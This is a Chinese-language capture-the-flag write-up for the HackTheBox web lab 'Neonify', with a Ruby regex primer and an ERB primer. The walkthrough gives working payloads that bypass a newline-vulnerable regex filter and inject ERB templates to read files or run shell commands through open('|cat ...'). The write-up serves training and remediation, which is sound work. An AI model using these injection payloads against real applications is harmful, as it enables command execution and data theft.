說明
此為hackthebox的web靶機,名稱為Neonify,攻擊策略為饒過字串保護,並透過ruby SSTI執行任意指令
安全風險
此目標發現2個安全風險
1.ruby過濾字串保護機制寫法可以被斷行方法饒過
2.可執行ruby SSTI模版語法
安全優化建議
增加安全測試任務,檢測所有網站的分隔符號能否饒過字串過濾檢查
增加安全測試任務,檢測所有網站模版是否能執行外部參數
攻擊方式
1.饒過保護機制
代碼分析時發現@neon = ERB.new(params[:neon]).result(binding)
,這表示可以將neon參數交給ERB的ruby模板執行
...omit...
post '/' do
if params[:neon] =~ /^[0-9a-z ]+$/i
@neon = ERB.new(params[:neon]).result(binding)
else
@neon = "Malicious Input Detected"
end
erb :'index'
end
...omit...
但這一行會做基本的保護if params[:neon] =~ /^[0-9a-z ]+$/i
,不過仔細看會發現這個保護有換行饒過問題,因此用以下請求測試換行饒過,透過Post方法傳送neon=a%0ab.c.d.e.f
fetch("http://157.245.32.36:31003/", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": "neon="+encodeURIComponent(`a\nb.c.d.e.f`),
"method": "POST"
});
返回以下內容,這代表正則表達式饒過成功
...omit.. </form>
<h1 class="glow">a
b.c.d.e.f.g</h1>
</div>
...omit...
2.執行任意指令
在請求時將讀取flag指令放入neon就可以取得flag.txt內容, 但使用傳統的system
或exec
因為不會顯示內容所以沒用,可以使用模版語法<%= File.read('flag.txt') %>
或是<%= open('|cat flag.txt').read() %>
例如執行以下操作可返回HTB{xxx)
fetch("http://157.245.32.36:31003/", {
"headers": {
"content-type": "application/x-www-form-urlencoded"
},
"body": "neon="+encodeURIComponent(`a\n<%= File.read('flag.txt') %>`),
"method": "POST"
});
或是直接請求以下的內容也可以返回HTB{xxx), %0a是空白的URL encoding, %25是%的URL encoding
POST / HTTP/1.1
...omit...
neon=a%0a</h1><%25=open('|cat flag.txt').read()%25><h1>
補充說明
ruby正則表達式說明
在 Ruby 中,=~ 是用於正規表示式匹配的操作符,在正規表示式中常用功能有以下
- /: 正規表示式的開始和結束標記,用於界定正規表示式的模式。
- ^: 位於開頭的錨點,表示匹配必須從字串的開頭開始。
- [0-9a-z ]: 字元類別(
character class
),表示可接受的字元範圍。 在這個例子中,表示可以匹配數字(0-9)、小寫字母(a-z)和空格(” “)之間的任一個字元。 - +: 量詞(
quantifier
),表示前面的元素可以出現一次或多次。 - $: 位於結尾的錨點,表示匹配必須到達字串的末尾。
- i: 修飾符(
modifier
),表示匹配時忽略大小寫。
範例如下
ruby
Copy Code
string = "Hello, World!"
pattern = /llo/
if string =~ pattern
puts "match found"
else
puts "No match found"
end
ruby模版語法說明
ERB為 Ruby 提供了一個易於使用但功能強大的模板系統。 使用ERB,可以將實際的 Ruby 程式碼新增到任何純文字文件中,以產生文件資訊詳細資訊和/或流程控制。
以下模板語法可顯示42
require 'erb'
x = 42
template = ERB.new <<-EOF
The value of x is: <%= x %>
EOF
puts template.result(binding)
常見組合說明如下:
<% %> 在括號內執行ruby程式碼。
<%= %> 在ERB檔案中列印一些東西。
<% -%> 避免在表達式後中斷行。
<%# %> 括號內的註解;未傳送到客戶端(與HTML註解相反)。